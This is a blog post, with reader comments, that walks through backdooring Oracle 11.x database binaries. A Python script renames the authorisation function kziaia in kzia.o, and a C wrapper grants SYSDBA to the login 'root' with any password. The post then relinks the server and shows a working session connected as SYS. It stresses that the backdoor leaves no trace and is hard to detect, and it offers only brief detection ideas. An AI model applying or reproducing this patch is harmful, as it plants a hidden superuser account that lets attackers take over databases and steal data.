I'm not sure, if this can be called real rootkit, but I hope so.
The fact UNIX Oracle RDBMS binaries are linking from .o files at installation and at each patching process, give us new way to modify it.
We can use conventional GCC compiler and GNU linker.
Let's see, if we can modify main Oracle binary in such way it will contain hole for remote attacker.
Can we add a (very) invisible superuser account?
Yes.
By patching kziaia() function, which do authorization, check password, etc.
The function is stored in kzia.o object file which is, in turn, stored in libserver11.a library.
It takes on input some special structure contain username and other information.
Username is right at +0 offset from structure start.
Obviously, we can't replace this function (legal users need to login too and their incorrect passwords must be checked), but rather we make wrapper function.
Let's take original kzia.o file and rename kziaia function inside it to something different: using binary editor.
In my case, I renamed it to Kziaia, e.g., I capitalize first symbol.
Now let's write our own kziaia() function implementation.
What it will do: check for some special username ("root") and if it so, turn SYSDBA global flag in PGA and return success (e.g., user have a right to login and password is correct).
If username is not "root", let's call original kziaia() function by calling Kziaia() with capital first symbol in name.
Since we are now in Oracle low-level environment, we can even write debug information into trace files by calling ksdwra() function, it behaves as printf().
Here we are also able to allocate memory by calling Oracle memory manager's functions, even raise ORA- errors, but I do not have any idea yet how to make use of it.
extern Kziaia (char* buf); // original function extern void ksdwra (const char * fmt, ...); // writer to alert_.log extern int kzspga_; // contain SYSDBA flag int kziaia (char *buf) { int Kziaia_result; ksdwra ("kziaia (%s)", buf); // write this to alert_ .log // is username in struct is "root"? if (buf[0]=='r' && buf[1]=='o' && buf[2]=='o' && buf[3]=='t' && buf[4]==0) { ksdwra ("returning 0"); kzspga_|=2; // set SYSDBA flag *(buf+0x150)=6; // must be 2 for local login success return 0; } else { ksdwra ("calling original kziaia()"); Kziaia_result=Kziaia (buf); ksdwra ("original kziaia -> %d\n", Kziaia_result); return Kziaia_result; }; };
Nothing special at all. One more thing is that input buffer modified slightly - this value will be checked after kziaia() call inside of kpolnb() function.
Please note that 0x150 offset is different in 11.2 Linux x64 (0x178).
I also wrote small Python script to patch kzia.o file automatically:
import os, glob, mmap, sys
# replace all "kziaia" strings in file to "Kziaia"
pattern = "kziaia"
fp = open(sys.argv[1], 'r+')
mm = mmap.mmap(fp.fileno(), os.stat(fp.name).st_size)
addr = 0
while addr != -1:
addr = mm.find(pattern, addr)
if addr != -1:
print "patching at addr=", addr
mm[addr] = "K"
mm.close()
fp.close()
Let's try to make all things working on my fresh Linux x86 Oracle 11.2 installation.
Fetch kzia.o from libserver11.a library using ar archiver:
[oracle@localhost ~]$ ar -x $ORACLE_HOME/lib/libserver11.a kzia.o
Make backup:
[oracle@localhost ~]$ cp kzia.o kzia.o.original
Patch it:
[oracle@localhost ~]$ python kzia-o-patcher.py kzia.o patching at addr= 8837 patching at addr= 49100
Values are offsets where patcher replaced "kziaia" strings to "Kziaia".
Put it back:
[oracle@localhost ~]$ ar -r $ORACLE_HOME/lib/libserver11.a kzia.o
Compile our own function implementation using GCC compiler:
[oracle@localhost ~]$ gcc -c kzia_wrapper.c
Place it to libserver11.a file too, so linker can find it and link.
[oracle@localhost ~]$ ar -r $ORACLE_HOME/lib/libserver11.a kzia_wrapper.o
Relink all binaries:
[oracle@localhost ~]$ cd $ORACLE_HOME/bin [oracle@localhost bin]$ ./relink all
Now our C code is compiled into main Oracle binary. Let's test it.
Start database and connect to it via network. Use "root" as login and any password (exactly: any password).
C:\oracle\client-11.1\bin>sqlplus.exe root@orcl as sysdba
SQL*Plus: Release 11.1.0.6.0 - Production on Tue Jan 19 05:48:43 2010
Copyright (c) 1982, 2007, Oracle. All rights reserved.
Enter password:
Connected to:
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options
SQL> select user from dual;
USER
------------------------------
SYS
SQL> SELECT sys_context('USERENV', 'SESSION_USER') FROM dual;
SYS_CONTEXT('USERENV','SESSION_USER')
--------------------------------------------------------------------------------
SYS
What our function wrote to alert_orcl.log?:
Tue Jan 19 05:48:43 2010 kziaia (root) returning 0
Well, this solution is probably not very stable, it was not fully tested at all.
I modified successfully 11.1 and 11.2 Linux x86.
It will not work if you attempt to login as "root" locally (you'll got ORA-600 error), because "6" value is not correct for this operation, there must be "2".
Also, in fact, kziaia() function doing much more things and by bypassing it, there're must be other yet unknown gotchas.
As you can clearly see, this modification can be made automatically by some special script.
Now how to detect its presence in working system?
Not an easy question.
Of course, backdoor username can be changed, ksdwra() calls removed, files renamed, etc.
Check kziaia() function for integrity? Well, it is not a single place there responsible for login. In fact, before I decided to work with kziaia(), I found few other places to patch.
We could try to enumerate all .o files in .a libraries and compare all them with "known and good files" list, but they are very often added by Oracle in new patches (and changed as well).
If I'm correct, this method do not leave any trace in database or SGA memory.
"So it goes" (c) Kurt Vonnegut
P.S. TNS Listener can be modified by relinking too.
P.P.S. How to ensure you do not have any modified binary files? Reinstall Oracle base installation + patchset + patches you need.
Comments
Safeguarding against modified binaries
Do a CRC/checksum against your files after a clean install. When suspicious compare if they have changed. Of course, you need to update your CRC/Checksum list with every patch, an administrative headache.
Another potential hole to open
"their incorrect passwords must be checked"
I wonder, if you actually removed or bypassed the password check so that any password was deemed valid, how long it would take before someone noticed that invalid passwords worked. In the meantime you'd have access to any (unlocked) account where you had the username.
Incorrect passwords doesn't
Incorrect passwords doesn't work for all usernames which are not "root".